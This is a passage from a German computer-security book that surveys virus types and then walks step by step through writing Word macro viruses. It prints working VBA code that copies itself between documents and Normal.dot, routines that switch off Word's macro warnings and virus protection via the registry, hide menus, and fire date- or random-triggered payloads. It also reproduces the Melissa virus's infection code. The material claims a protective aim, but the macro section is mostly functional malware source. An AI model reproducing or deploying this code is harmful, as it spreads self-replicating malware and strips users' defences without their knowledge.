 Bis heute gibt es allerdings noch keine Viren, die sich in mehreren Betriebssystemen verbreiten können. Viren sind von ihrer Konzeption her immer auf die Schwachstellen eines Systems angewiesen. Da diese jedoch bei jedem System an anderer Stelle sitzen und jedes System andere Programmieranforderrungen stellt, wird es auch in absehbarer Zeit kaum Viren geben, die beispielsweise auf MAC- und MS-DOS-Rechnern agieren können.
 Die meisten glauben, dass sich ein Virus, sobald er bis in ein Netz vorgedrungen ist, so-fort irgendwie rasend schnell über das gesamte Netzwerk ausbreitet. Die Wahrheit ist je-doch weitaus komplizierter. Erstens können sich Bootsektorviren nicht über Netzwerke ausbreiten, selbst wenn mehrere der angeschlossenen Computer infiziert sind, denn die-se Virenart verbreitet sich über Disketten. Dateiviren dagegen breiten sich folgenderma-ßen über ein Netzwerk aus:
 1.
 2.
 3.
 Kollege A infiziert seinen Computer, möglicherweise durch einen Anhang in einer E-Mail oder die Demodiskette eines Freundes. Der Virus wird speicherresident.
 Kollege A führt weitere Programme auf seiner Festplatte aus, die dadurch ebenfalls infiziert werden.
 Kollege A führt ein paar Programme auf dem Netzwerk aus, die dadurch ebenfalls infiziert werden. Ein Netzwerk emuliert ein DOS-Gerät, d. h. Lesen und Schreiben in Dateien auf dem Server findet in derselben Weise statt wie lokal. Der Virus muss sich also nicht anders als sonst verhalten, um Dateien auf dem Server zu infizieren.
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 4.
 5.
 6.
 7.
 Kollege B meldet sich am Server an und führt eine infizierte Datei aus. Der Virus wird auf dem Computer vom Kollegen B speicherresident.
 Kollege B führt mehrere andere Programme auf seiner lokalen Festplatte und auf dem Server aus. Jede ausgeführte Datei wird infiziert.
 Die Kollegen C, D und E melden sich an und führen infizierte Dateien aus.
 Und so weiter.
 Anders verläuft die Infektion bei Viren, die sich selbst z.B. an alle Einträge des Mail-Adressbuchs verschicken. Hier genügt das Ausführen der Datei beim Kollegen A, und al-le Kollegen in seinem Adressbuch erhalten eine Mail mit dem Virus. Öffnen diese Kolle-gen nun wiederum den Anhang, beginnt das Spiel erneut. Durch die unterschiedlichen Adressbucheinträge wird der Virus rasch auch an Geschäftspartner, Freunde etc. über-tragen, so dass eine Lawine ausgelöst wird. I LOVE YOU war seinerzeit genau so ein Vi-rus. Neben anderen Eigenarten pflanzte er sich selbst fort. Selbst in Computerunter-nehmen wurden ganze Abteilungen lahmgelegt, weil der Mailverkehr permanent stieg und jede weitere Ausführung den Versand erneut startete.
 5.4.7 Polymorphe Viren
 Die am häufigsten verwendete Art von Anti-Viren-Programmen ist der Scanner, der nach einem Repertoire von Viren-Codes sucht. Für den Virenprogrammierer ist dies das Programm, dass er am liebsten täuschen würde. Ein polymorpher Virus ist ein Virus, von dem keine zwei Kopien an irgendeiner Stelle gemeinsame Byte-Folgen enthalten. Daher kann ein solcher Virus nicht einfach anhand einer bestimmten Byte-Folge er-kannt werden, sondern es muss eine wesentlich komplexere und schwierigere Aufgabe bewältigt werden, um ihn ermitteln zu können.
 5.4.8 Stealth- oder Tarnkappen-Viren
 Wenn ein Virus speicherresident werden kann, was auf 99 % aller in der Computerwelt auftretenden Viren zutrifft, dann kann er mindestens einen der Interrupts abfangen. Wenn es sich um einen Bootsektorvirus handelt, dann missbraucht er den Interrupt 13h (Lesen vom/Schreiben auf den Datenträger). Wenn es sich um einen Stealth-Virus han-delt und ein beliebiges Programm den Bootsektor zu lesen versucht, sagt sich der Virus »Aha, da will einer den Bootsektor sehen. Ich werde einfach dort, wo ich ihn abgelegt habe, den Original-Bootsektor lesen und dann statt des infizierten Bootsektors den In-halt des Originals präsentieren«. Dadurch fällt dem anfragenden Programm nichts Un-gewöhnliches auf.
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 Der Brain-Virus, Baujahr 1986, war der erste Virus, der mit diesem Trick gearbeitet hat. Dateiviren wie beispielsweise der Frodo-Virus können mit einem ähnlichen Trick eben-falls ihre Existenz so verbergen, dass jedes Programm, das die Datei liest, nur die Bytes zu Gesicht bekommt, die vor der Virusinfektion darin enthalten waren. Solche Tarnfä-higkeiten sind jedoch häufiger bei Bootsektorviren als bei Dateiviren zu beobachten, da es bei einem Bootsektorvirus viel einfacher ist, eine Tarnroutine zu programmieren.
 5.4.9 TSR-Dateiviren
 Die zweithäufigste Art von Viren ist der TSR-Dateivirus. Wie der Name schon sagt, wer-den von Viren dieser Art Dateien befallen. Dabei handelt es sich in der Regel um COM- und EXE-Dateien; es gibt aber auch ein paar Gerätetreiberviren. Einige Viren infizieren Überlagerungsdateien, das sind Dateien mit der Endung *.OVL, außerdem müssen aus-führbare Programme nicht unbedingt die Namenserweiterung COM oder EXE haben, obwohl dies in 99 % der Fälle zutrifft.
 Damit sich ein TSR-Virus verbreiten kann, muss jemand ein infiziertes Programm aus-führen. Der Virus wird speicherresident und prüft in der Regel jedes nach ihm ausge-führte Programm, um es ebenfalls zu infizieren, falls es noch nicht infiziert ist.
 Einige Viren werden als »schnell infizierende Viren« bezeichnet. Solche Viren infizieren eine Datei bereits, wenn sie diese nur öffnen (zum Beispiel wird bei einer Datensiche-rung unter Umständen jede auf einem Laufwerk enthaltene Datei geöffnet). Der erste schnell infizierende Virus war Dark Avenger. Die Infektionsroutine des Green Caterpil-lar dagegen wird durch jeden Vorgang ausgelöst, mit dem bestimmt wird, welche Datei-en vorhanden sind (z. B. durch den DIR-Befehl). Es wurden auch noch andere Infekti-onsauslöser verwendet, aber in den meisten Fällen wird ein Programm infiziert, sobald es ausgeführt wird.
 5.4.10 Update-Viren
 Update-Viren sind eine besonders ausgeklügelte Virenart. Sie sind nach Familien geglie-dert und werden meist von einem einzigen Programmierer oder einer Gruppe entwi-ckelt. Neben ihrem Hex-Pattern enthalten diese Viren nicht nur eine Versionsnummer, sondern auch eine Update-Routine, die überprüft, ob der Virus bereits in einer Version vertreten ist. Aber damit nicht genug: Die Routine untersucht außerdem, ob die Dateien bereits eine ältere Version des Virus enthalten. Ist das der Fall, wird diese ersetzt. Ist eine neuere Version installiert, wird diese nicht noch einmal infiziert.
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 5.4.11 Würmer – ILOVEYOU und Co.
 Computerwürmer sind Programme, die sich selbstständig in einem Netzwerk verbreiten können. Es handelt sich dabei nicht um klassische Viren, sondern um damit verwandte Störprogramme, die jedoch auch Viren enthalten können. Würmer sind eigenständige Programme, die keine Wirtsprogramme benötigen, um sich daran anzuhängen. Meist bestehen sie aus mehreren Programmsegmenten, die miteinander in Verbindung stehen. Computerwürmer können sich selbst reproduzieren und sich zudem mit Hilfe von Netzwerkfunktionen auf andere Rechner kopieren.
 5.4.12 Zeitzünder
 Zeitzünder sind spezielle Auslösemechanismen für Viren. Eine Routine fragt hier inner-halb eines Virusprogramms die Systemzeit ab. Wird ein festgelegter Wert erreicht, löst dieses die Ausführung des Aktionsteiles des Virus aus. Bei der Bedingung kann es sich um eine Zeitspanne nach dem Einschalten handeln oder um ein festgelegtes Datum. Theoretisch ist es so zum Beispiel möglich, jemandem einen Geburtstagsgruß zu schi-cken, der am bewussten Tag automatisch aufgerufen wird. Neben Kalenderdaten lässt sich auch eine Routine einsetzen, die jeden Tag um dieselbe Uhrzeit gestartet wird. Die Auswahl an Bedingungen für Zeitzünder ist beinahe unbegrenzt – »Trigger Days« sind zumindest jene Tage, an denen in der Vergangenheit bestimmte Virentypen zugeschla-gen haben.
 5.5 Schreiben eines Word-Makrovirus Sicherlich haben Sie auch schon mal die Anfrage von Word gesehen, wenn Ihnen je-mand ein Dokument gegeben hat, in dessen Vorlage sich Makros befanden. Ob Sie nun spontan auf MAKROS AKTIVIEREN geklickt haben oder skeptisch die Deaktivierungsop-tion gewählt, Ihnen war bestimmt nicht deutlich, welche Gefahr sich dahinter verbergen kann. Auf den folgenden Seiten erfahren Sie eine Menge zur Programmierung von Word-Makroviren. Das verwendete Material des Virenspezialisten Aciidfreak finden Sie evtl. teilweise noch irgendwo im Internet – so etwas gibt’s halt in der Szene. Besonders wichtig ist hierbei, mit welchen Tricks die Programmierer ihre Programme tarnen kön-nen und welche Gefahrenpotentiale bestehen. Wenn Ihnen ein Word-Makrovirus da-durch erspart bleibt oder erkannt wird, hat sich’s schon gelohnt. Hier nun die Anleitung von Aciidfreak in etwas modifizierter Form:
 Wenn man in VB programmieren kann, dann ist das Schreiben von Makros sehr ein-fach.
 Folgende Dinge sollte man über die Eigenheiten von Word und der Sprache VBA, die als Makrosprache verwendet wird, wissen:
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 VBA ist langsam, aber sehr mächtig. Es beherrscht alle Befehle, die man auch unter VB verwenden kann, und auch alle API-Funktionen (API = Application Programming In-terface).
 5.5.1 Zentrum aller Aktivitäten – die Datei Normal.DOT
 Word lädt bei jedem Start eine globale Datei, die Normal.dot. In dieser Datei können sich Makros befinden, die dann für jedes Dokument gelten. Diese Datei wird angegrif-fen, um Word zu infizieren. Wenn Worddateien Makros enthalten, dann werden diese beim Öffnen der Datei normalerweise ebenfalls geöffnet und aktiv. Word fragt jedoch zuvor bei fremden Texten, ob die Makros aktiviert werden sollen. Diese Frage gilt dann aber nur für dieses Dokument, deshalb müssen Makroviren zur Infizierung aus dem Dokument in die globale Normal.dot kopiert werden. Und von der Normal.dot in jede noch nicht infizierte Doc-Datei. Das ist die grundsätzliche Idee hinter einem Makrovi-rus.
 5.5.2 Modul oder Klassenmodul?
 Die Viren befinden sich immer in einem Klassenmodul oder einem Modul. Um ein Modul anzulegen, öffnet man mit EXTRAS • MAKRO • VISUAL BASIC-EDITOR den Makro-Editor von Word. Dann wird mit EINFÜGEN festgelegt, ob es sich um ein Modul, ein Klassenmodul oder eine User Form handelt. User Forms sind für die Makroprogrammie-rung nicht interessant, wichtig sind die Module und die Klassenmodule. In ihnen wer-den eigenständige Projektteile abgelegt, auf die immer wieder zugegriffen werden kann. Zunächst beschäftigen wir uns hier mit den Makroviren in den Modulen.
 5.5.3 Viren contra ServiceRelease
 Alles weitere ist SR-1-kompatibel. SR-1 ist ein ServiceRelease von Microsoft, der in WordBasic die Befehle MacroCopy und Application OrganizerCopy nicht mehr verfügbar macht, doch ein Virenschreiber wird immer einen Weg finden. Alle alten Viren haben MacroCopy verwendet, folgerichtig laufen diese nicht mehr.
 5.5.4 Modul-Makros
 Hier ist alles, was man für einen Makrovirus in Word braucht. Keine Sorge, wenn sich das zuerst etwas kryptisch liest, alle wichtigen Aspekte werden später erläutert. Außer-dem ist es ja auch zur Information und nicht zum Nachvollziehen gedacht (der Autor):
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 Attribute VB_Name = "demo" Sub AutoClose() On Error Resume Next Application.VBE.ActiveVBProject.VBComponents("demo").Export "c:\demo.sys" For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "demo" Then NormInstall = True Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True Next I If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject _ Else If ActivInstall = False And NormInstall = True Then Set Dobj = ➥ActiveDocument.VBProject Dobj.VBComponents.Import ("c:\demo.sys") End Sub
 So, das wollen wir jetzt mal Stück für Stück auseinander nehmen.
 Attribute VB_Name = "demo"
 Demo ist der Name des Moduls. Und das Modul hat normalerweise den Namen des Virus.
 Sub AutoClose()
 Dieser Sub wird jedes Mal ausgeführt, wenn ein Dokument geschlossen wird. Es gibt noch Autofunktionen, die automatisch ausgeführt werden: AutoOpen, AutoExit, Autoexec.
 On Error Resume Next
 Das ist evtl. aus VB bekannt. Wenn ein Fehler auftritt, wird einfach der nächste Befehl ausgeführt, anstatt eine Fehlermeldung auszugeben, denn das würde den Virus verraten.
 Application.VBE.ActiveVBProject.VBComponents("demo").Export "c:\demo.sys"
 Exportiert das Modul nach C:\demo.sys. Dort ist dann der gesamte Quellcode, um ihn nachher möglicherweise in eine zu infizierende Datei zu importieren.
 For I = 1 To NormalTemplate.VBProject.VBComponents.Count
 Das ist eine For-Schleife. Sie wiederholt den nachfolgenden Code, sooft es Module in der Normal.dot gibt.
 If NormalTemplate.VBProject.VBComponents(I).Name = "demo" Then NormInstall = True
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 Wenn es ein Modul in der Normal.dot gibt, das »demo« (also der Virus) heißt, setzt er die NormInstall auf True.
 Next I
 Durchläuft den nächsten Schritt innerhalb der For-Schleife.
 For I = 1 To ActiveDocument.VBProject.VBComponents.Count
 Das ist eine For-Schleife. Sie wiederholt den nachfolgenden Code, sooft es Module in dem aktiven Dokument gibt.
 If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True
 Wenn es ein Modul in dem aktiven Dokument gibt, das »demo« (also wie der Virus) heißt, setzt er die ActivInstall auf True.
 Next I
 Durchläuft den nächsten Schritt innerhalb der For-Schleife.
 If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject
 Wenn wir uns im aktuellen Dokument befinden und nicht in der Normal.dot, dann setzt er Dobj auf NormalTemplate.VBProject. Hier wird festgelegt, in welche Datei nachher importiert wird: entweder in die Normal.dot oder ins aktive Dokument.
 Else If ActivInstall = False And NormInstall = True Then Set Dobj = ➥ActiveDocument.VBProject
 Hier wird die Bedingung noch einmal andersherum durchlaufen: Wenn wir uns in der Normal.dot und nicht im aktiven Dokument befinden, dann wird die Dobj auf Active-Document.VBProject gesetzt. Um nachher zu veranlassen, dass in das aktuelle Doku-ment importiert wird.
 Dobj.VBComponents.Import ("c:\demo.sys")
 Hier wird die zu Beginn exportierte Datei (der Virus) importiert. In welche Datei es ge-packt wird, hängt davon ab, auf was Dobj gesetzt wurde.
 Dies ist ein funktionsfähiger Virus, der verschiedene Aktionsmöglichkeiten bereitstellt.
 Hier folgen nun ein paar Funktionen, die sich zusätzlich einbauen lassen:
 Zur Tarnung – Stealth
 Ein Modul wird standardmäßig von Word im VB-Editor angezeigt, außerdem hat man über die Datei Normal.dot die Möglichkeit, Makros gezielt zu kopieren. Tarnung würde also bedeuten, den Makrovirus zu verschleiern. Das gelingt am leichtesten, wenn die entsprechenden Funktionen in den Menüs nicht mehr aufrufbar sind. An dieser Stelle
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 wirkt sich das Ausblenden der selten benötigten Befehle in Word 2000 besonders fatal aus: Der Nutzer bemerkt aufgrund dieser Einstellung bestimmte Zugriffsmöglichkeiten gar nicht. Der Virus entfernt diese Einträge und bleibt viel länger unbemerkt.
 CommandBars("Tools").Controls("Macro").Delete
 Entfernt den Zugriff auf die Menübefehle zu den Makros.
 CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
 Entfernt den Zugriff auf die Menübefehle zu den Vorlagen und Add-Ins.
 CommandBars("Format").Controls("Style...").Delete *
 Entfernt den Zugriff auf die Menübefehle zu den Formatvorlagen.
 Options.VirusProtection = False
 Entfernt den Virenschutz, mit dem Word auf Makros in Dokumenten reagiert.
 Options.SaveNormalPrompt = False
 Mit diesem Kommando wird das Dialogfeld, das standardmäßig nach der Speicherung der Normal.dot fragt, ausgeschaltet. Jetzt kann die Normal.dot verändert werden, ohne dass der Nutzer es bemerkt. Und wichtig: Da das Ausschalten dieser Funktion im Hin-tergrund erfolgt ist, wird nur jemand, der sich mit Word gut auskennt, das Fehlen je-mals bemerken.
 Eine wichtige Tarnung ist auch das Abschalten folgender Menübefehle. Mit ein paar Programmzeilen lässt sich das realisieren:
 Sub ToolsMacro() On Error Resume Next End Sub
 Wenn der User auf EXTRAS • MAKROS • MAKROS klickt, wird dieser Sub ausgeführt. Der User bekommt das Dialogfeld nicht zu sehen.
 Sub FileTemplates() On Error Resume Next End Sub
 Der User kann EXTRAS • VORLAGEN UND ADD-INS nicht aufrufen.
 Sub ViewVBCode() On Error Resume Next End Sub
 Der User kann den VB Editor nicht aufrufen.
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 Sub WordBasic.DisableAutoMacros = 0 End Sub
 Die AutoMakros werden deaktiviert.
 Die Word-Abfrage, ob Makros ausgeführt werden sollen, kann man mit folgendem Be-fehl in der Registry ausschalten.
 System.PrivateProfileString("", ➥"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") ➥= 1&
 Mit On Error Resume Next läuft ein Programm bei einem Fehler einfach weiter. Wenn aber bei einem Fehler ein Sprung zu einer bestimmten Stelle im Programm erfolgen soll, dann verwendet man On Error goto Label. Label ist der Name des entsprechenden Punk-tes, der natürlich im Code festgelegt sein muss. Das Label ist am Doppelpunkt am Ende erkennbar.
 Hier noch einmal ein Beispiel.
 On error goto Fehler Code, der fehlerfrei abgearbeitet werden kann. Code, bei dem ein Fehler auftritt. Jetzt springt das Programm zum Label Fehler im weiteren ➥Code. Code, der nicht ausgeführt wird Code, der auch nicht ausgeführt wird. Fehler: Ab hier wird der Code weiter ausgeführt.
 Soviel zur Tarnung, jetzt geht es an die fortgeschrittenen Funktionen, die weitere gefähr-liche Möglichkeiten bieten.
 Weitergehende Funktionen für Makroviren
 Wenn man das aktive Dokument speichern will, dann verwendet man folgenden Befehl:
 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, ➥FileFormat:=wdFormatDocument Wenn nun der Makrovirus die Speichern-Funktion infizieren soll, wird folgender Code eingesetzt:
 Sub FileSave() On Error Resume Next Call Infectionsroutine 'Hier wird die Alternativ-Routine aufgerufen. ActiveDocument.Save End Sub
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 Für den Befehl Speichern unter wird analog der Code so formuliert:
 Sub FileSaveAs() On Error Resume Next Dialogs(wdDialogFileSaveAs).Show Call Infectionsroutine 'Hier wird die Alternativ-Routine aufgerufen. End Sub
 Word kann aber nicht nur auf seine eigenen Funktionen zugreifen, wenn es über VBA gesteuert wird. Auch der Zugriff auf die Registry von Windows ist vergleichsweise ein-fach:
 a = System.PrivateProfileString("", ➥"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", ➥"RegisteredOwner") 'zunächst eine Variable festlegen und dann den Path und Schlüssel. System.PrivateProfileString("", ➥"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = ➥1& 'Path und Schlüssel und dann den zu ändernden String.
 Hier ein Beispiel für die Verwendung von API-Funktionen durch VBA. Ziel ist es, den exportierten Code aus dem Startbeispiel nun nicht unter C:\ zu verstecken, sondern im System-Verzeichnis, denn das zeigt Windows nicht so ohne weiteres an.
 Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" ➥(ByVal lpBuffer As String, ByVal nSize As Long) As Long 'Die Deklarierung der API sollte als erstes im Code stehen. Dim sSysdir As String 'Deklarierung der Variablen als String am besten auch ganz oben.
 Der folgende Code gehört nun in die Infektionsroutine.
 sSysdir = Space$(256) 'Schafft Platz in sSysdir GetSystemDirectory sSysdir, Len(sSysdir) 'Holt den Namen des System-Verzeichnisses sSysdir = Left$(sSysdir, InStr(sSysdir, Chr$(0)) – 1) 'Der Name wird zurechtgeschnitten und in der Variablen abgelegt. sSysdir = sSysdir + "\demo.sys" 'Nun wird die Infektionsdatei drangehängt.
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 5.5.5 Auch das ist möglich: Der Virus ruft einen Payload auf
 Damit der Virus nicht sofort aktiv wird, ist eine Kontrollmöglichkeit für den Ablauf vorgesehen. Ein Infektionszähler bietet genau diese Möglichkeit (s.o. S. 177). Dazu kann man in der Registry irgendwo einen Schlüssel setzen, und bei Null passiert’s dann. Ge-nauso kann aber auch ein bestimmter Tag verwendet werden. Die passenden Codezeilen sind einfache If-Abfragen:
 If Month(Now()) = 1 And Day(Now()) = 1 Then Call Payload 'Wenn das aktuelle Datum der 1. Januar ist, dann gehe zu Payload. If Month(Now()) = 1 And Day(Now()) = 2 Then Call Payload 'Wenn das aktuelle Datum der 2. Januar ist, dann gehe zu Payload.
 Natürlich ist auch der regelmäßige Abgleich mit einer Zufallszahl möglich. Wenn Zahl und Variable übereinstimmen, passiert‘s
 x = Int(Rnd * 100) 'x ist eine Variable, die nun eine Zahl von 0 – 100 enthält. If x = 3 then Call Payload 'Wenn x ist, dann gehe zu Payload.
 Die oben immer wieder angesprochene Routine zum Aufruf des Payload könnte so aus-sehen: Wie wäre es mit dem Ausführen einer kostenpflichtigen URL?
 Sub Payload() On Error Resume Next ActiveDocument.FollowHyperlink Address:= _ "http//www.sexy/index.htm" _ NewWindow:=False, AddHistory:=True End Sub
 5.5.6 Der Virus verändert Datei-Eigenschaften oder Text-Inhalte
 Es muss ja nicht gleich die URL sein, letztlich kann sich hinter Payload auch irgendetwas anderes verbergen, was per Zeitzünder ausgelöst wird. Es könnten sich z.B. dann die Doku-ment-Eigenschaften verändern; plötzlich hat Dagobert Duck den Brief geschrieben o.ä.:
 Sub Payload() ActiveDocument.ReadOnlyRecommended = False With Dialogs(wdDialogFileSummaryInfo) .Author = "Author" .Title = "Titel" .Subject = "Subjekt" .Comments = "Comments"
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 .Keywords = "Keywords"
 .Execute End With End Sub
 Genauso können auch mittels Word-Befehlen Wörter ersetzt werden. Die beliebte Su-che-Ersetze-Funktion wird zum Helfer des Virus:
 Sub Payload() On Error Resume Next Selection.HomeKey Unit:=wdStory Selection.Find.ClearFormatting Selection.Find.Replacement.ClearFormatting With Selection.Find .Text = "Zufinden" 'zu ersetzender Text .Replacement.Text = "Ersetzen mit mir" 'ersetze mit .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = True .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete CommandBars("edit").Controls("Repeat Replace...").Delete CommandBars("edit").Controls("Replace...").Delete If ActiveDocument.Saved = False Then ActiveDocument.Save End Sub
 5.5.7 Der Virus schützt die Datei mit einem Passwort
 Der Aufruf des Passwortschutzes ist ebenfalls über einen Makrovirus möglich:
 Sub Payload() ActiveDocument.Password = "hallo" 'Natürlich kann man auch ein Zufallspasswort machen. End Sub
 Sicherlich gehen Sie jetzt mit der Word-Warnung anders um. Ihr Virenscanner sollte auf dem neuesten Stand sein und immer eingesetzt werden, wenn Sie ein Word- oder Excel-Dokument erhalten. Leider machen sich einige Virenprogrammierer einen Sport daraus, immer neue Infektionswege zu finden. Hundertprozentigen Schutz gibt es nicht, aber weitgehend vorbeugen kann man.
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 5.6 So werden Klassenmodule infiziert Ein anderer Weg zur Infizierung von Winword-Dokumenten ist die Infizierung von Klassenmodulen, was die Entdeckung des Virus sehr viel schwieriger macht. Klassenmo-dule sind gewissermaßen selbstdefinierte Steuerelemente, deren Sourcecode selbst ge-schrieben werden kann. Dabei verfügen Klassenmodule über dieselben Eigenschaften wie Steuerelemente, d.h. man definiert ein Objekt mit Eigenschaften und Methoden. Der Unterschied zu den benutzerdefinierten Steuerelementen besteht darin, dass Klas-senmodule quasi »unsichtbar« sind.
 Klassenmodule sind für den Anwender nicht so leicht zu entdecken, weil sie nicht bei den Makros und im Dialogfeld zum Organisieren der Makros und Vorlageninhalte an-gezeigt werden. Wenn Sie mal nachschauen möchten: Sie finden dieses Dialogfeld, in-dem sie es über EXTRAS • MAKRO • MAKROS • ORGANISIEREN aufrufen.
 Die Strategie hinter der Infizierung von Klassenmodulen ist eine andere als bei den be-reits vorgestellten Makroviren: Man exportiert und importiert nicht mehr einen Code in jede künftige Word-Datei mit allen Risiken der Entdeckung, sondern man liest den Code ein und fügt diesen String in ein anderes Klassenmodul ein. Der Virencode wird jetzt unsichtbar beim Öffnen in alle weiteren Dokumente integriert.
 Für die Struktur der Programmierung muss man sich einfach vorstellen, dass der Virus ausgeführt wird und sich nur im Dokument oder in der Normal.dot befinden kann. Um den Code einzulesen, muss man demnach herausfinden, wo man sich befindet. Daraus ergibt sich dann folgerichtig, was infiziert werden soll.
 Hier ein Beispielvirus mit Kommentaren im Code, damit die Überlegungen dahinter deutlich werden.
 Private Sub Document_Open() ' Dieser Sub wird immer ausgeführt, wenn das/ein Dokument geöffnet wird. ' Zu beachten ist, dass der SUB Private ist. Alles muss in einem Klassenmodul ' Private sein. Sollte man das mal vergessen, meldet er sofort beim Infizieren einen ' Fehler. ' Auch hat sich der Name des Subs verändert. Er heißt jetzt Document_Open() und nicht ' mehr AutoOpen(). On Error Resume Next ' die übliche Fehlergeschichte MyPos = ThisDocument.Name ' Weil nicht bekannt ist, wo man sich befindet (entweder in der normal.dot oder im ➥Dokument)

Page 181
						

5.6 So werden Klassenmodule infiziert 118877
 ' ThisDocument.Name gibt mir die Antwort If MyPos = "Normal.dot" Then Set Source = NormalTemplate.VBProject.VBComponents(1).CodeModule Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule ' wenn man sich in der Normal.dot befindet, weiß man, dass das Aktuelle ' Dokument infiziert werden soll und dass der Virencode aus der Normal.dot kommt. ' Wir setzen unsere Variabeln. Es ist jedoch möglich, dass das aktuelle Dokument ➥auch schon ' infiziert ist. Das wird in diesem Beispiel nicht überprüft, ' da beim Infizieren aller Code, der sich zuvor dort befand, gelöscht wird. Das ist ➥dann nur ' verschwendete Rechenzeit. Das heisst aber auch, dass wenn dort ' ein anderer Virus war, dieser durch den neuen überschrieben wird. ' ActiveDocument.VBProject.VBComponents(1).CodeModule ' Die Indexzahl 1 bei VBComponents(1) ist immer das Klassenmodul "ThisDocument", ' das infiziert werden soll. Else ' befindet man sich nicht in der Normal.dot, bleibt nur noch eine Möglichkeit offen Set Source = ActiveDocument.VBProject.VBComponents(1).CodeModule Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule End If With Source VirCode = .Lines(1, .CountOfLines) End With ' Wenn man ein Objekt in einen With...End With-Block einschliesst, braucht man ' die Wiederholung des Objektnamens nicht. ' Es steht dort also Source.Lines(1, Source.CountOfLines) ' Der gesammte Virencode wird nun in VirCode eingelesen. ' Source.CountOfLines gibt die Anzahl der Zeilen/Lines wieder, die das Modul hat. ' .Lines(ab Zeile 1 einlesen, So viele Zeilen wie das Modul lang ist ), With Target .DeleteLines 1, .CountOfLines ' Alle Zeilen in der zu infizierenden Datei löschen. Es wird bei Zeile 1 angefangen und ' es werden so viele Zeilen gelöscht, wie das Modul lang ist. ' Damit kann man sicher sein, dass dort nun nichts mehr steht. Würde sich der ' Virus dort schon befinden und man schreibt ihn in das Modul ohne vorher alle Zeilen ' zu löschen, würde das zu einer Fehlermeldung führen. .InsertLines 1, VirCode
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 ' Es wird der eingelesene String in das Modul eingefügt. ' Es wird in Zeile 1 angefangen und VirCode ist der String. End With
 Das ist also der Ablauf der Infektion eines Klassenmoduls:
 1.
 2.
 3.
 Feststellen, ob man sich in der Normal.dot oder im Dokument befindet.
 Den Code in einen String einlesen.
 Ihn in ein anderes Modul schreiben.
 Ein richtiger Virus ist viel größer und enthält auch noch Stealth-Funktionen (s.o.).
 Hier noch ein Beispiel, wie Klassenmodule durch Melissa infiziert werden:
 CUT HERE Private Sub Document_Open() On Error Resume Next Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) 'Setze ADI1 auf ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) 'Setze NTI1 NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1
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 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) ➥Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True End If End Sub CUT HERE
 5.7 ILOVEYOU LoveLetter ist ein VBS-Wurm (Visual Basic Script). Er verbreitet sich über E-Mail als Attachment. LoveLetter wurde das erste Mal am Vormittag des 04. Mai 2000 gemeldet. Er verbreitete sich weltweit innerhalb weniger Stunden und infizierte 90% aller ans Netz angeschlossenen Unternehmen weltweit. An dieser Stelle soll einer der gefährlichsten Vi-ren aller Zeiten einmal genauer unter die Lupe genommen werden.
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 5.7.1 Was ist ein Wurm?
 Ein Wurm ist ein Stück Code, das sich von selbst über das Internet oder das lokale Netzwerk verbreitet. Im Gegensatz zu einem Virus ist der Wurm jedoch nicht direkt de-struktiv. Der Wurm kann höchstens, wie im Falle von ILOVEYOU, hohen Traffic verur-sachen.
 Einer der ersten Würmer war der von Robert T. Morris, der als der Wurm überhaupt im Jahre 1988 SUN und VAX Stationen angegriffen hat. Er ist heutzutage als »Internet-wurm« bekannt.
 5.7.2 Die Arbeitsweise
 Der Wurm ILOVEYOU lud von einer Webseite einzelne Banner herunter, welche je-doch schnell nicht mehr erreichbar waren, da der Provider von den Philippinen, Sky In-ternet Inc., schnell schaltete und den Webspace löschte.
 Dort wollte der Wurm auch das Programm WIN-BUGSFIX runterladen, dass Passwör-ter ausspionieren und diese an Accounts bei Access Net mit der Nachricht »Ba-rok...e.mail.passwords.send.er.trojan-by spyder.« mailen sollte.
 Darüber hinaus manipulierte der Wurm Einträge in der Registry:
